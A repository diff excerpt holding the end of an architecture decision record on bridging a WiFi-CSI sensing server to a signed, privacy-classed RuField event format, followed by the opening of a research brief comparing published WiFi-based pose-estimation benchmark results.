- **Signer (defers the P2 key decision)** — a **dedicated standalone `Signer`** held in server state, seeded from `WDP_RUFIELD_SIGNING_SEED` (64-hex or ≥32-byte value), else a deterministic dev default with a logged `WARN`. Reusing the `cog-ha-matter` Ed25519 key (§8 Q1) is the **deferred P2** decision — P3 uses a standalone sensing key so it does not pre-empt that call.
|
||||
- **Egress privacy (fail-closed)** — `network_egress_allowed` is *stricter* than `DefaultPrivacyGuard` for an unattended live surface: only **P1/P2** leave the box; P0 (raw) and P3/P4/P5 (identity/biometric/aggregate above the default P2 ceiling) are held edge-local. A `Derived` cycle maps to P4/P5 and is therefore **never** surfaced. No-presence cycles emit nothing (no phantom events).
|
||||
- **Gates that pass** (`tests/rufield_surface_test.rs`, 4 integration via `tower::oneshot` + 4 module unit, 0 failed): a well-formed **signed** event (`Modality::WifiCsi`, P2 not P1, `is_fusable` ed25519-verified, real timestamp); **empty cycle → no phantom**; **privacy-safety** — an injected `Derived` trust never surfaces on `/api/field`; a mixed stream surfaces only egress-safe events.
|
||||
|
||||
**Deferred:** the §3.3 *provenance carrier* recommendation (reuse the `cog-ha-matter` SHA-256+Ed25519 chain + embed the BLAKE3 engine witness) is **not** in P1/P3 — both take a dedicated `Signer` (the §8 open question 1 key-ownership decision is unresolved; P3 uses a standalone dev/sensing key precisely so it does not pre-empt P2). P2's `cog-ha-matter` key reuse + BLAKE3-embed, and P4 (multi-modality), remain future work. **No accuracy is claimed** (§0 / §6) — P1/P3 are tested plumbing on a live endpoint + a safe privacy mapping; the live surface is single-link CSI with its existing caveats (no validated room-coordinate accuracy — `field_localize`).
|
||||
|
||||
---
|
||||
|
||||
## 1. Context — two architectures, mapped
|
||||
|
||||
### 1.1 RuField MFS (ADR-260, `vendor/rufield/`)
|
||||
|
||||
A standalone pure-Rust Cargo workspace (serde, serde_json, toml, sha2, ed25519-dalek; **no tch/ndarray/candle**), vendored here as a git submodule (`git submodule status vendor/rufield` → `ba66e2e…`), **not** a v2 workspace member — exactly the `vendor/rvcsi` precedent (ADR-095/096). **Not published to crates.io**: every internal dep is a path dep with a nominal `version = "0.1.0"` (`vendor/rufield/Cargo.toml:31-37`); the `docs.rs/rufield-*` URLs are aspirational.
|
||||
|
||||
The data model (graded ARCHITECTURE, evidence read directly):
|
||||
|
||||
- **`FieldEvent`** (`vendor/rufield/crates/rufield-core/src/event.rs:96-112`): `spec_version, event_id, timestamp_ns: u64, sensor: SensorDescriptor, tensor: FieldTensor, observation: Observation, provenance: ProvenanceRef`.
|
||||
- **`Observation`** (`event.rs:25-51`): `zone_id, space_cell, range_m, velocity_mps, motion_vector, confidence: f32, features: BTreeMap<String,f32>` (the derived P1 scalars the fusion engine actually reads), `labels: Vec<String>` (ground-truth, **never read by fusion**), `privacy_class: PrivacyClass`.
|
||||
- **`PrivacyClass`** (`rufield-core/src/privacy.rs:8-25`): `P0..P5`, `#[serde(rename_all="UPPERCASE")]`, `Ord` by declaration order so **P0 < P1 < … < P5** — higher = more private; `level()->u8` returns 0..=5 (`privacy.rs:27-40`).
|
||||
- **`ProvenanceRef`** (on-wire, `event.rs:73-93`): `raw_hash, firmware_hash` (`sha256:…`), `model_id, calibration_id, synthetic: bool`, optional `signature_hex` / `signer_pubkey_hex` (detached ed25519).
|
||||
- The four traits (`rufield-core/src/traits.rs`): **`FieldAdapter`** (`:26-38`, `next_event() -> Result<Option<FieldEvent>>`), **`FieldEncoder`** (`:41-51`, **unimplemented in v0.1** — an open seam), **`FusionEngine`** (`:54-63`, `ingest(event)` + `infer(&query)`), **`PrivacyGuard`** (`:86-97`, `authorize(class, Destination, consent, identity_bound) -> PrivacyDecision{Allow|Deny|RequiresConsent}`).
|
||||
- **`CsiReplayAdapter`** (`rufield-adapters/src/csi_replay.rs`): constructed from **already-loaded text** (`from_jsonl(&str)` `:249-251`; `from_jsonl_with(text, device_id, &[u8;32])` `:254-323`) — **not** a path/`Read`/`Iterator`. Deserializes `CsiFrameRecord { timestamp: f64 (seconds), subcarriers: Vec<f64> }` (`:74-80`), buffers all frames into a `Vec<CsiFrame>`, then streams via a cursor (`next_event` `:550-557`). Maps each frame → `FieldEvent` with `Modality::WifiCsi`, axes `[Frequency]`, a Welford motion proxy, observation `privacy_class = P2 if presence else P1` (`:439-443`), real `sha256` raw-hash, and a **real ed25519 signature** (`signer.sign_event` `:507-510`). `max_privacy_class = P2`.
|
||||
- **`RuFieldFusion`** (`rufield-fusion/src/engine.rs:55-78`): `ingest()` **rejects non-fusable events on its first line** — `if !is_fusable(&event) { return Err(NotFusable) }` (`:212-215`) — then reads `event.observation.features` into a bounded temporal window; `infer()` applies TOML rules (`WeightedBayes` noisy-OR / `TemporalWindow`) → `Vec<FieldInference>`. TOML rule struct: `inputs, method, feature, threshold, privacy_max, window_ms, requires_consent` (`rules.rs:17-35`).
|
||||
- **`is_fusable`** (`rufield-provenance/src/lib.rs:179-184`): `synthetic == true` **OR** `verify_event().is_ok()` — the §11 invariant. Signing key is `ed25519_dalek 2.1`, deterministic from a 32-byte seed; raw hash is `sha256_hex` → `"sha256:<hex>"` (`:26-35`).
|
||||
- **`DefaultPrivacyGuard`** (`rufield-privacy/src/lib.rs:38-110`): default `network_max = P2`, `allow_p0_network = false`. P5-no-identity → `Deny`; P4-no-consent → `RequiresConsent`; `EdgeLocal` → `Allow`; `Network` denies P0 and `class > network_max`.
|
||||
- **`rufield-viewer`** (Axum 0.7): **self-contained, consumes `SyntheticSim` only** — all routes are read-only GET/SSE (`GET /api/run`, `GET /events`); **there is no ingest endpoint** (`vendor/rufield/crates/rufield-viewer/src/server.rs:63-72`). Feeding it a live stream requires adding a route.
|
||||
|
||||
### 1.2 RuView (the integration target)
|
||||
|
||||
- **Sensing-server is Axum** (`v2/crates/wifi-densepose-sensing-server/src/main.rs:7498-7629`), two listeners (WS `:8765`, HTTP). CSI does **not** arrive over WS/HTTP — it arrives over **UDP** from ESP32 nodes (`use tokio::net::UdpSocket`, `main.rs:53`; `recv_from` loop `main.rs:5286-5299`), parsed by magic `0xC511_0001` → **`Esp32Frame`** (`types.rs:84-100`: `node_id, n_subcarriers, ppdu_type, amplitudes: Vec<f64>, phases: Vec<f64>`, rssi/freq/sequence) → pushed into per-node `NodeState.frame_history: VecDeque<Vec<f64>>` (`main.rs:441-497`).
|
||||
- **`/ws/sensing` emits a `SensingUpdate`** (`main.rs:267-317`), broadcast over a `tokio::sync::broadcast` channel (`s.tx.send(json)` `main.rs:5938-5991`; the WS handler just subscribes and forwards, `main.rs:3021-3073`). `SensingUpdate` carries `nodes`, `features`, `classification {motion_level, presence, confidence}`, `signal_field`, `persons: Vec<PersonDetection>` (17 COCO keypoints + `position:[f64;3]` from `field_localize`, `main.rs:403-428`), pose, vitals. **`field_localize` (PR #1050) is a module, not a route** (`mod field_localize` `main.rs:17`; honesty caveat `field_localize.rs:16-27` — a single ESP32 link cannot resolve true room position, `position` is "strongest field peak").
|
||||
- **ruvsense fusion is strictly WITHIN-WiFi-modality.** `MultistaticFuser::fuse(&[MultiBandCsiFrame]) -> FusedSensingFrame` (`v2/crates/wifi-densepose-signal/src/ruvsense/multistatic.rs:285-288`) attention-weights **multiple WiFi CSI nodes/viewpoints** (every input is ESP32 CSI; `multistatic_bridge.rs:50-62` builds the frames from `NodeState` amplitude with `HardwareType::Esp32S3`). `coherence_gate.rs:18-37` is the `GateDecision{Accept|PredictOnly|Reject|Recalibrate}`; `pose_tracker.rs:255-263` is the 17-keypoint Kalman tracker with 128-dim AETHER re-ID; `field_model.rs:301-308` does SVD room-eigenstructure perturbation extraction. **No camera/mmWave/audio enters this path** — ruvsense is a multi-link WiFi-CSI fuser.
|
||||
- **The governed-trust cycle** runs in the separate **`wifi-densepose-engine`** crate. `StreamingEngine::process_cycle` (`v2/crates/wifi-densepose-engine/src/lib.rs:409`, `run_cycle` `:434-533`) produces **`TrustedOutput`** (`:82-112`): `semantic_id, quality: QualityScore, effective_class: PrivacyClass, demoted: bool, provenance: SemanticProvenance, witness: [u8;32]` (BLAKE3 over `evidence‖model‖calibration‖privacy_decision‖class`, `witness_of` `:598-613`), `recalibration_recommended`. **Crucially, none of this trust metadata is on the `SensingUpdate` wire today** — it is exposed only out-of-band on `GET /api/v1/status` (`main.rs:4173-4178`) and as a single live effect: `EngineBridge::suppress_raw_outputs()` strips per-node amplitude when `effective_class >= Restricted` (`engine_bridge.rs:240-243`, applied `main.rs:5908-5932`). The honest scope is stated in `engine_bridge.rs:14-27`: the governed engine runs *alongside* the bare fusion path; derived outputs are "published ungoverned."
|
||||
|
||||
---
|
||||
|
||||
## 2. Decision
|
||||
|
||||
1. **Build a thin RuView-side bridge crate `wifi-densepose-rufield`** (a new v2 workspace member) that depends on `vendor/rufield/crates/rufield-core` (+ `rufield-provenance`, `rufield-privacy`, `rufield-fusion`) **via path** — mirroring the `vendor/rvcsi` pattern. RuView does **not** depend on published rufield crates (there are none) and does **not** vendor rufield into the v2 workspace; rufield stays a standalone submodule and the bridge is the only coupling point (an anti-corruption layer).
|
||||
2. **Emit `FieldEvent`s from the live server via an in-process `SensingServerAdapter`**, not by re-using the file-based `CsiReplayAdapter` on the hot path. The bridge taps the existing `SensingUpdate` build site and the `EngineBridge` trust state, joins them, and emits one signed `FieldEvent` per cycle on a new `tokio::broadcast` topic / optional `/ws/field` endpoint. `CsiReplayAdapter` is retained for the **offline/replay** path (recorded `.csi.jsonl` → events) because it already reads RuView's recording format (`recording.rs` writes `{session}.csi.jsonl`).
|
||||
3. **Compose the two fusion engines vertically, do not merge them.** ruvsense stays the **WiFi-modality node** (multi-link fusion → one fused WiFi belief); rufield-fusion sits **above** it as the **cross-modality** graph. ruvsense's `FusedSensingFrame`/`TrustedOutput` becomes one `FieldEvent` (modality `wifi_csi`); rufield fuses it against future mmWave/thermal/`rvcsi` events. They do not conflict because ruvsense has no cross-modality fusion to collide with (§1.2 evidence).
|
||||
4. **Reconcile privacy/provenance with ONE canonical model + a documented mapping** (§3, the crux): RuView's `effective_class` is the **source of truth**, mapped onto RuField `PrivacyClass` at the bridge; RuView's existing **`cog-ha-matter` SHA-256+Ed25519 witness chain** (already RuField's exact crypto) is adopted as the carrier for RuField `ProvenanceReceipt`, with the live BLAKE3 engine witness embedded as a hashed field. We do **not** maintain two parallel signed-receipt systems.
|
||||
|
||||
---
|
||||
|
||||
## 3. Privacy & provenance reconciliation (the crux)
|
||||
|
||||
This is the most important section. RuView and RuField genuinely **overlap and partially conflict**. We map both honestly.
|
||||
|
||||
### 3.1 What RuView actually has (implemented, with evidence)
|
||||
|
||||
- **TWO privacy enums, not one ladder.** `PrivacyClass` — **4 variants** `Raw=0, Derived=1, Anonymous=2, Restricted=3` (`v2/crates/wifi-densepose-bfld/src/lib.rs:103-116`, `#[repr(u8)]`, higher byte = more private, **non-monotonic in information** — `Derived=1` carries *more* identity than `Anonymous=2`). And `PrivacyMode` — **5 variants** `RawResearch, PrivateHome, EnterpriseAnonymous, CareWithConsent, StrictNoIdentity` (`bfld/src/privacy_mode.rs:18-31`), each mapping to a `PrivacyClass` via `target_class()` (`:63-70`; two modes collapse to `Anonymous`).
|
||||
- **THREE witness mechanisms across TWO hash algorithms:**
|
||||
- BFLD `PrivacyAttestationProof` — **BLAKE3, unsigned**, attests mode/class continuity only; **built but NOT on the live path** (ADR-141 status line ~597; `bfld/src/privacy_mode.rs:121-148`).
|
||||
- Engine-cycle `TrustedOutput.witness: [u8;32]` — **BLAKE3, unsigned**, over the full trust decision; **LIVE every cycle** (`wifi-densepose-engine/src/lib.rs:598-613`).
|
||||
- `cog-ha-matter::WitnessChain` — **SHA-256 hash chain + Ed25519 signatures** (`v2/crates/cog-ha-matter/src/witness.rs:138-151`; `witness_signing.rs:39-76`), JSONL-persisted, `verify()` + `verify_signature()`. Implemented for ADR-116 (cog/Matter audit log); **standalone, not wired to BFLD/engine**. Its `WitnessHash` newtype doc explicitly anticipates a hash-algo migration (`witness.rs:37-41`).
|
||||
- **No numeric trust score.** "Trust" in code = `base_coherence: f32∈[0,1]` + `penalized_coherence()` (`signal/.../fusion_quality.rs:99,122-126`) + a **boolean** `forces_privacy_demotion()` (`:116`). Demotion is monotonic and irreversible (`demote_one` clamps at Restricted, `engine/src/lib.rs:617-619`).
|
||||
- **Structured provenance exists, but no signed "receipt" on the sensing path.** `SemanticProvenance { evidence, model_version, calibration_version, privacy_decision }` (`v2/crates/wifi-densepose-worldgraph/src/model.rs:137-147`) is attached to every belief and is the *input* to the BLAKE3 witness — but it is unsigned and not called a receipt.
|
||||
|
||||
### 3.2 Side-by-side, graded
|
||||
|
||||
| Dimension | RuView (file:line) | RuField | Alignment |
|
||||
|---|---|---|---|
|
||||
| Privacy ladder | `PrivacyClass` 4 (`bfld/lib.rs:103`) **or** `PrivacyMode` 5 (`bfld/privacy_mode.rs:18`) | `PrivacyClass` 6 (P0–P5, `rufield-core/privacy.rs:8`) | **PARTIAL→CONFLICT** — no clean 1:1; counts differ (4/5 vs 6); RuView class ordering non-monotonic |
|
||||
| Demotion direction | higher = more private, irreversible (`engine/lib.rs:617`) | higher P# = more private, `Ord` by decl order (`privacy.rs:8-25`) | **STRONG** (same direction) |
|
||||
| Provenance receipt | `SemanticProvenance` unsigned (`worldgraph/model.rs:137`) | `ProvenanceRef` + ed25519 (`event.rs:73`) | **PARTIAL** — structured but unsigned |
|
||||
| Witness crypto (live path) | BLAKE3 `[u8;32]`, unsigned (`engine/lib.rs:598`) | sha256 + ed25519 (`rufield-provenance/lib.rs:26,135`) | **CONFLICT** (algo + signing) |
|
||||
| Witness crypto (cog-ha-matter) | **SHA-256 + Ed25519** (`cog-ha-matter/witness.rs`, `witness_signing.rs`) | **sha256 + ed25519** | **STRONG** — RuField's exact crypto, already in-repo, but unwired and in another bounded context |
|
||||
| Trust / confidence | `penalized_coherence: f32` + boolean demote (`fusion_quality.rs:122`) | `confidence: f32` per observation | **WEAK** — RuView has no graded trust object; confidence maps, demotion is binary |
|
||||
|
||||
### 3.3 The recommendation (the key call)
|
||||
|
||||
**Adopt ONE canonical model with a documented, lossy-but-monotonic mapping — do not run two parallel schemes.** Concretely:
|
||||
|
||||
1. **Privacy: RuView `effective_class` is the source of truth; the bridge maps it onto RuField `PrivacyClass`** at the egress boundary. The honest mapping (graded ARCHITECTURE — it is a *policy* decision, and it is **monotonicity-testable**, not an accuracy claim):
|
||||
|
||||
| RuView `PrivacyClass` | → RuField | Rationale |
|
||||
|---|---|---|
|
||||
| `Raw` (raw CSI amplitude) | `P0` | raw waveform |
|
||||
| `Derived` (identity embedding, LAN-only) | `P4` *(or P5 if identity-bound)* | derived **identity** features ⇒ biometric/identity tier, **not** P1 — RuView's non-monotonic `Derived=1` is the trap; map by *information content*, not byte value |
|
||||
| `Anonymous` (occupancy/aggregate) | `P2`/`P3` | occupancy → P2, room-count aggregate → P3 |
|
||||
| `Restricted` (zeroized) | `P2`-capped, raw suppressed | matches `suppress_raw_outputs` (`engine_bridge.rs:240`) |
|
||||
|
||||
The bridge **must** map `Derived → P4/P5`, never P1, because RuView's `Derived` carries `identity_embedding` (§3.1) — this is the single most dangerous mapping mistake and gets a dedicated test (P2 in §4). `PrivacyMode` (5) is the better *operator-facing* join to RuField's 6 levels but the **class** is what gates egress, so the class mapping is canonical.
|
||||
|
||||
2. **Provenance: adopt `cog-ha-matter`'s SHA-256+Ed25519 chain as the carrier for RuField `ProvenanceReceipt`** — it is already RuField's exact crypto (graded STRONG above), already implemented, already tamper-evident. The bridge constructs the RuField `ProvenanceRef` by: `raw_hash = sha256(csi bytes)`, `model_id`/`calibration_id` from `SemanticProvenance`, and **embeds the live BLAKE3 engine witness `[u8;32]` as a hashed provenance field** (it is already computed every cycle — do not throw it away), then **signs with ed25519** so `is_fusable` passes for live (non-synthetic) events. We do **not** add a second BLAKE3-vs-ed25519 argument: BLAKE3 stays RuView's internal fast cycle-fingerprint; ed25519 is the *external* attestation RuField requires. One signer, one chain.
|
||||
|
||||
3. **Trust: map `penalized_coherence` → `Observation.confidence`; keep demotion binary.** RuView has no graded trust object to reconcile; the coherence scalar is the honest analog and the demotion boolean already drives `effective_class`.
|
||||
|
||||
This is a **bridge-with-canonical-source**, not "keep both forever." RuView owns the privacy decision (it has the live governed cycle); RuField owns the *external wire shape* (P0–P5 + signed receipt). The bridge is the one-directional translation, and it is the only place the two schemes meet.
|
||||
|
||||
---
|
||||
|
||||
## 4. Phased plan (each phase independently shippable + testable)
|
||||
|
||||
**P1 — `SensingServerAdapter` emitting `FieldEvent`s (ARCHITECTURE).**
|
||||
New crate `wifi-densepose-rufield` with a `SensingServerAdapter` that consumes a `(SensingUpdate, TrustedOutput)` pair (tapped at `main.rs:5886`/`:5938`) and emits a signed `FieldEvent` (`Modality::WifiCsi`, axes `[Frequency]`, observation features from `SensingUpdate.features`, `confidence` from `penalized_coherence`). Offline path: keep `CsiReplayAdapter` for recorded `.csi.jsonl`. **Gate:** a round-trip test — emit a `FieldEvent` from a fixture `SensingUpdate`, assert it serializes, `is_fusable` passes (ed25519-signed), and `RuFieldFusion::ingest` accepts it. No server changes required beyond exposing the tap; the adapter is a library.
|
||||
|
||||
**P2 — privacy/provenance bridge (the crux, ARCHITECTURE).**
|
||||
Implement the §3.3 mapping: `effective_class → PrivacyClass`, `cog-ha-matter` ed25519 signer for the receipt, BLAKE3 witness embedded. **Gates (three, all monotonicity/safety, not accuracy):** (a) `Derived → P4|P5` never P1 (the dangerous-mapping test); (b) privacy monotonicity — `demoted == true` ⇒ emitted `PrivacyClass >= P2` and raw suppressed; (c) signature round-trip — sign with the cog-ha-matter key, `rufield_provenance::verify_event` passes. This phase is shippable without P3 (events emitted on an internal topic, not yet on the public wire).
|
||||
|
||||
**P3 — surface in `/ws` + viewer (ARCHITECTURE).**
|
||||
Add an opt-in `/ws/field` endpoint (or a `field_events` array on `SensingUpdate` behind a flag) carrying the signed `FieldEvent` + a privacy badge. Add an ingest route to `rufield-viewer` (it has none today — `server.rs:63-72`) so it can replay RuView's live feed instead of only `SyntheticSim`. **Gate:** a WS integration test asserting a connected client receives a privacy-badged, signature-verifiable `FieldEvent`; a viewer test asserting the new ingest route renders a live event. The `cognitum` appliance can speak RuField by consuming this endpoint (it already runs `ruview-vitals-worker`); deferred to its own ADR.
|
||||
|
||||
**P4 — fusion composition + multi-modality (ARCHITECTURE, optional).**
|
||||
Wire a second modality (cheapest: an `rvcsi`-sourced event, or recorded mmWave) into `RuFieldFusion` alongside the WiFi event, proving cross-modality fusion above ruvsense. **Gate:** a fusion test with two modalities producing ≥1 cross-modal inference, with provenance coverage 100%.
|
||||
|
||||
---
|
||||
|
||||
## 5. Decision matrix
|
||||
|
||||
### 5.1 Data-path emission (P1)
|
||||
|
||||
| Option | Latency | Reuse | Live-fit | Risk | Verdict |
|
||||
|---|---|---|---|---|---|
|
||||
| Re-use `CsiReplayAdapter` on hot path | poor (file buffer, `&str` ctor) | high | **bad** — it's a file-cursor, not a live source | low | **Reject for live** (keep for replay) |
|
||||
| In-process `SensingServerAdapter` (tap `SensingUpdate`+`TrustedOutput`) | good | medium | **good** — taps the real emit + real trust state | low | **CHOSEN** |
|
||||
| Server publishes `FieldEvent` on its own topic (no adapter trait) | good | low | good | medium (bypasses `FieldAdapter` contract) | Reject — loses the trait seam |
|
||||
|
||||
### 5.2 Fusion relationship (P3/P4)
|
||||
|
||||
| Option | Verdict |
|
||||
|---|---|
|
||||
| Merge ruvsense into rufield-fusion | **Reject** — different scopes; ruvsense is within-WiFi multi-link, rufield is cross-modality |
|
||||
| rufield-fusion wraps ruvsense (vertical compose) | **CHOSEN** — ruvsense → one WiFi `FieldEvent` → rufield cross-modality graph |
|
||||
| Run both as peers, reconcile after | Reject — duplicates fusion semantics, two contradiction models |
|
||||
|
||||
### 5.3 Privacy/provenance reconciliation (P2)
|
||||
|
||||
| Option | Verdict |
|
||||
|---|---|
|
||||
| (a) Map RuView classes onto RuField P0–P5, RuView canonical | **CHOSEN (privacy)** — `effective_class` is the live source of truth |
|
||||
| (b) Adopt RuField ed25519 receipts as RuView's provenance | **CHOSEN (provenance)** — via the already-present `cog-ha-matter` SHA-256+Ed25519 chain |
|
||||
| (c) Keep both schemes with a permanent bridge | **Reject** — two signed-receipt systems is the duplication we must not ship |
|
||||
|
||||
### 5.4 Dependency direction
|
||||
|
||||
| Option | Verdict |
|
||||
|---|---|
|
||||
| Depend on published rufield crates | **Reject** — not published (`vendor/rufield/Cargo.toml:31-37`) |
|
||||
| Make rufield a v2 workspace member | **Reject** — breaks the standalone-spec/`rvcsi` precedent |
|
||||
| Thin `wifi-densepose-rufield` bridge → path deps on submodule | **CHOSEN** — anti-corruption layer, single coupling point |
|
||||
|
||||
---
|
||||
|
||||
## 6. Security & honesty notes
|
||||
|
||||
- **No accuracy claim.** Live RuField events from RuView are derived from the same single-link CSI whose own caveats are on record (`field_localize.rs:16-27`); the offline path is unlabeled replay (`csi_replay.rs:19-31`). This ADR ships **plumbing with monotonicity/signature gates**, not validated F1.
|
||||
- **The dangerous mapping is `Derived → P1`.** RuView's `Derived` byte value (1) is numerically below `Anonymous` (2) but carries identity (`bfld/lib.rs`); a naive byte-mapping would leak identity-bearing features as low-privacy P1. P2's gate (a) exists specifically to prevent this.
|
||||
- **One signer, not two.** Adding a second ed25519 keypair alongside `cog-ha-matter`'s would create two roots of trust. The bridge reuses the cog-ha-matter signing key (`witness_signing.rs`).
|
||||
- **`is_fusable` is a real gate, not decoration** (`rufield-provenance/lib.rs:179-184`): live events that fail to sign are rejected by `RuFieldFusion::ingest` — we must not paper over a signing failure with `synthetic = true` on a real event (that would be the §11 invariant violation the spec forbids).
|
||||
- BLAKE3 stays internal; ed25519 is the external attestation. We do not relitigate RuView's BLAKE3 cycle-witness — it is embedded, not replaced.
|
||||
|
||||
## 7. Consequences
|
||||
|
||||
**Positive:** RuView becomes one honest adapter in the larger RuField ecosystem (ADR-260 goal §9) without forking its fusion or privacy engine; the three witness mechanisms get a single external attestation path; cross-modality fusion becomes possible above the existing WiFi fusion; the `cognitum` appliance gains a standard wire format. The bridge is the only coupling point, so rufield can evolve as a standalone spec.
|
||||
|
||||
**Negative:** a fourth crate to maintain; the privacy mapping is lossy (4/5 → 6) and must be kept honest by tests; reusing the `cog-ha-matter` key crosses a bounded-context boundary (cog/Matter ↔ sensing) that ADR-116 kept separate — that coupling needs review. The live trust metadata (`witness`, `effective_class`) is **currently decoupled** from `SensingUpdate` (§1.2), so P1 must do real join work, not a field read.
|
||||
|
||||
## 8. Open questions
|
||||
|
||||
1. **Signer ownership:** should the bridge reuse the `cog-ha-matter` Ed25519 key, or mint a dedicated RuView-sensing key with its own rotation? (Reuse couples bounded contexts; a new key adds a second root of trust.)
|
||||
2. **`PrivacyMode` vs `PrivacyClass` as the canonical map target:** class gates egress (chosen), but the 5-mode ladder is the cleaner join to 6 levels — do we expose mode in the receipt too?
|
||||
3. **Where does the BLAKE3 engine witness live in the RuField receipt** — a `firmware_hash`-style field, an extension field, or a `CalibrationReceipt.data_hash`? (RuField's `ProvenanceRef` has no spare slot; needs a spec extension or reuse of `model_id`.)
|
||||
4. **Should `field_localize` positions ride in `Observation.space_cell`/`motion_vector`** given the explicit single-link caveat, or stay RuView-only until multi-node calibration lands?
|
||||
5. **`rvcsi` relationship:** `rvcsi` has its own `CsiFrame`/`CsiWindow` and could implement `FieldAdapter` directly — should the second modality in P4 be `rvcsi`, making RuField the convergence point for *both* vendored sensing runtimes?
|
||||
6. **Transport:** RuField ADR-260 §29 leaves default transport open (MQTT/NATS/WS/MCP). RuView is WS + UDP + broadcast; does `/ws/field` suffice, or does the appliance need MQTT to match the cog stack?
|
||||
|
||||
## 9. Recommendation
|
||||
|
||||
Proceed with P1+P2 behind a feature flag. They are independently shippable, carry real gates (round-trip, monotonicity, signature-verify), and require no change to RuView's fusion or privacy engine — only a tap and a translation. Defer P3/P4 and the appliance/transport questions to follow-up ADRs once the bridge round-trips on recorded `.csi.jsonl` and on one live cycle.
|
||||
@@ -0,0 +1,147 @@
|
||||
# SOTA Evidence Brief — `wifi-densepose-nn` / `wifi-densepose-train` Benchmark ADR Seed
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Date** | 2026-06-14 |
|
||||
| **Author** | deep-research (Opus) |
|
||||
| **Purpose** | Seed a future benchmark/optimization ADR for the NN-inference (`wifi-densepose-nn`) and training (`wifi-densepose-train`) crates |
|
||||
| **Scope** | The DELTA beyond what ADR-152 / ADR-150 / ADR-015 already establish — current published WiFi-CSI pose SOTA, winning architectures, edge-quantization SOTA, and a defensible benchmark-suite design |
|
||||
| **Ethos** | Every claim graded PEER-REVIEWED / PREPRINT / VENDOR-CLAIM / BLOG, with MEASURED-on-public-benchmark distinguished from marketing. Numbers that could not be verified are flagged. No fabricated citations. |
|
||||
|
||||
> **Citation discipline carried in from ADR-152 §2.2:** preprint accuracy numbers are CLAIMED until reproduced on our hardware. The project has already retracted its own "92.9% PCK@20" and "shipped-WiFlow-STD 97.25%" figures after measurement; this brief inherits that bar.
|
||||
|
||||
---
|
||||
|
||||
## 1. Executive summary
|
||||
|
||||
**Where the project stands vs the 2026 frontier.** The repo is, by the evidence already in-tree, *ahead of most academic groups on benchmark hygiene* and roughly *at parity on capability* — but the two are measured on incompatible yardsticks, which is the single biggest risk to any "beyond-SOTA" claim.
|
||||
|
||||
- The project's headline reproductions (`benchmarks/wiflow-std/RESULTS.md`) are MEASURED and rigorous: WiFlow-STD retrained to **96.09–96.61% PCK@20** on the authors' own 360k-window 2D dataset (RTX 5080), shipped checkpoint REFUTED, dataset/code defects documented. This is a genuinely strong, reproducible result.
|
||||
- **But that number is not on a standard public benchmark.** WiFlow-STD's dataset is self-collected (5 subjects, 15 keypoints, 2D, in-domain random split, hardware unspecified). The academic frontier on the *standard* public 3D benchmark (MM-Fi) reports **PCK@20 ≈ 61% / MPJPE ≈ 161 mm random-split** (GraphPose-Fi, Nov 2025) — a *harder* metric (3D, mm-scale, standard PCK normalization). The project's own AetherArena MM-Fi number (**81.63% torso-PCK@20 in-domain**, ADR-150) uses a *torso-normalized PCK* that is looser than GraphPose-Fi's standard PCK, so the three numbers (96% / 81.6% / 61%) **cannot be lined up** without a unified harness. Making them comparable IS the highest-value work item.
|
||||
- The deployment frontier — **cross-subject / cross-environment generalization** — is where everyone collapses, the project included (ADR-150: 81.63% in-domain → ~11.6% leakage-free cross-subject). GraphPose-Fi independently confirms the cliff (61.1% random → 12.9% cross-environment PCK@20). This is the real research target, not in-domain PCK.
|
||||
|
||||
**Top 3 highest-value optimization/benchmark targets:**
|
||||
|
||||
1. **A unified, metric-locked accuracy harness in `wifi-densepose-train`** that scores any model under *one* explicit PCK definition (normalization, keypoint convention, split) so WiFlow-STD-repro, AetherArena/MM-Fi, and GraphPose-Fi numbers become directly comparable. Without this, no "beyond-SOTA" claim survives the "prove it" bar — the project has already been burned twice by metric ambiguity (the retracted 92.9% used absolute, not torso-normalized, PCK).
|
||||
2. **A QAT path for the WiFlow-STD-class edge model.** The in-tree edge work (`RESULTS.md`) has *fully characterized PTQ* (static QDQ conv-only is the int8 sweet spot; dynamic int8 is a no-op on this all-conv architecture) and found the **half model (843k params) strictly dominates the published 2.23M** and **tiny (56k, 295 KB ONNX fp32) holds 94.1% PCK@20**. The one untested lever is **quantization-aware training**, which the general literature says recovers most of the PTQ accuracy gap. That is the next defensible edge win.
|
||||
3. **Criterion-backed regression benches wired into CI** for the real Candle/ONNX forward path. The benches *exist* (`wifi-densepose-nn/benches/{inference,onnx,native_conv}_bench.rs`, `wifi-densepose-train/benches/training_bench.rs`) and `benchmarks/edge-latency/RESULTS.md` shows the methodology is sound (host≠ESP32 caveat made explicit). The gap is turning point-in-time captures into committed regression baselines.
|
||||
|
||||
---
|
||||
|
||||
## 2. Findings per research question
|
||||
|
||||
### RQ1 — Latest WiFi-CSI pose SOTA (2024–2026): published PCK@20 / MPJPE on the standard public benchmarks
|
||||
|
||||
The crucial framing: **"WiFi pose SOTA" splits into two non-comparable tracks** — 3D pose on MM-Fi/Person-in-WiFi-3D (mm-scale MPJPE, standard PCK) vs 2D pose on self-collected sets (image-normalized PCK). The project's flagship reproduction lives in the second track; the academic frontier lives in the first.
|
||||
|
||||
| Method | Venue / Year | Benchmark + split | PCK@20 | MPJPE | Grade |
|
||||
|---|---|---|---|---|---|
|
||||
| **GraphPose-Fi** (arXiv [2511.19105](https://arxiv.org/abs/2511.19105)) | PREPRINT, Nov 2025 | MM-Fi P1, **random split** | **61.1%** | **160.6 mm** (PA-MPJPE 105.0) | numbers MEASURED-in-study (preprint); beats MetaFi++, HPE-Li, DT-Pose |
|
||||
| GraphPose-Fi | same | MM-Fi P1, **cross-subject** | 44.2% | 210.5 mm | same |
|
||||
| GraphPose-Fi | same | MM-Fi P1, **cross-environment** | 12.9% | 302.7 mm | same — the generalization cliff |
|
||||
| **DT-Pose** (arXiv [2501.09411](https://arxiv.org/abs/2501.09411)) | PREPRINT (ICLR'25 OpenReview [aPnLQ6WfQQ](https://openreview.net/forum?id=aPnLQ6WfQQ)), Jan 2025; code [cseeyangchen/DT-Pose](https://github.com/cseeyangchen/DT-Pose) | MM-Fi (domain-gap + topology focus) | not cleanly extractable from abstract | reports MPJPE; self-supervised masked pretrain + topology decode | numbers NOT verified at exact-table level here — flagged |
|
||||
